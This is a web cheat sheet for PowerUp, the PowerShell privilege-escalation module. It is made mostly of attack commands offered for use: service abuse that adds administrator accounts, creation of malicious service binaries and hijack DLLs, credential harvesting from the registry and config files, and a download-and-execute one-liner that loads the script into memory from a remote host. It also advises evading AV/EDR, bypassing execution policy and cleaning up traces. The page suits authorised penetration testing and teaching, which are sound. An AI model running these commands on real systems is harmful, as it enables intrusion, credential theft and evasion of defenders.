root@thehacksparrow:~/writeups$ SYSTEM ONLINE
· log in sign up
← back to cheatsheets
root@sparrow:~/writeups$ cat powerup.md
// privesc

PowerUp

21 Jul 2026 · 5 min read
privesccheatsheetspowerup
PowerUp is a PowerSploit module written entirely in PowerShell that automates the hunt for privilege escalation paths on Windows. It bundles the classic checks —misconfigured services, weak permissions, credentials on disk and in the registry— into a single script that runs with no external dependencies. Its flagship function, Invoke-AllChecks, fires the whole test battery and flags what is actually exploitable.

The point of PowerUp is not just to detect the flaw, but that almost every finding ships with its paired abuse function: Get-ModifiableService finds the service and Invoke-ServiceAbuse exploits it. Grasping that detect/abuse duality is what turns a report into a real escalation. Beware: the script is noisy and well known to AV/EDR, so in monitored environments you should load it in memory and never touch disk.

1. Beginner level — enumeration and checks

POWERUP cheat sheet — Beginner
CommandWhat it does
. .\\PowerUp.ps1Imports the script into the session
Invoke-AllChecksRuns every privesc check
Invoke-AllChecks | Out-File -Encoding ASCII out.txtSaves the output
Get-ServiceUnquotedServices with unquoted paths
Get-ModifiableServiceFileModifiable service binaries
Get-ModifiableServiceServices you can reconfigure
Get-UnattendedInstallFileInstall files containing credentials
Get-WebConfigCredentials in web.config
Get-ApplicationHostCredentials in applicationHost.config
Get-ModifiableRegistryAutoRunModifiable autoruns
Get-RegistryAlwaysInstallElevatedChecks AlwaysInstallElevated
Get-RegistryAutoLogonAutologon credentials in the registry
Find-PathDLLHijackPATH directories vulnerable to DLL hijacking
IEX(New-Object Net.WebClient).DownloadString('http://<ip>/PowerUp.ps1')Loads it in memory

2. Advanced level — service and binary abuse

POWERUP cheat sheet — Advanced
CommandWhat it does
Invoke-ServiceAbuse -Name 'VulnSvc'Abuses a service to run commands
Invoke-ServiceAbuse -Name 'Svc' -UserName 'dom\\user'Adds a user to admins via a service
Invoke-ServiceAbuse -Name 'Svc' -Command 'net user h h /add'Arbitrary command via a service
Write-ServiceBinary -Name 'Svc' -Path C:\\TempGenerates a malicious service binary
Install-ServiceBinary -Name 'Svc'Replaces a service binary
Set-ServiceBinaryPath -Name 'Svc' -Path 'cmd /c ...'Changes the service binPath
Write-HijackDll -DllPath C:\\path\\hijack.dllCreates a DLL for hijacking
Get-ModifiableService | Invoke-ServiceAbuseChains discovery and abuse
Restore-ServiceBinary -Name 'Svc'Restores the original binary
Get-ProcessTokenPrivilegePrivileges of the current token
Get-SiteListPasswordMcAfee SiteList credentials
Get-CachedGPPPasswordCached GPP passwords
Get-UnattendedInstallFileLeftovers from unattended installs
Invoke-AllChecks | ? { $_.Check -match 'Service' }Filters only service findings

3. Details people miss

  • PowerUp is part of PowerSploit, now archived by its author; expect instant signature detection on any modern AV/EDR. Load it in memory with IEX rather than dropping it on disk.
  • Invoke-AllChecks does not require admin, but many abuse functions do need specific permissions over the service or binary; a finding in the report does not guarantee it is exploitable with your current token.
  • Unquoted service path issues are only exploitable if you have write access to some intermediate folder in the path and the service can be restarted; verify both before celebrating.
  • After abusing a service with Invoke-ServiceAbuse, use Restore-ServiceBinary to put the original binPath back and avoid leaving the service broken or obvious traces.
  • If ExecutionPolicy blocks you, do not change it the brute way: bypass the restriction with -ExecutionPolicy Bypass or load the script straight into memory, which also avoids disk.

Responsible use

These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.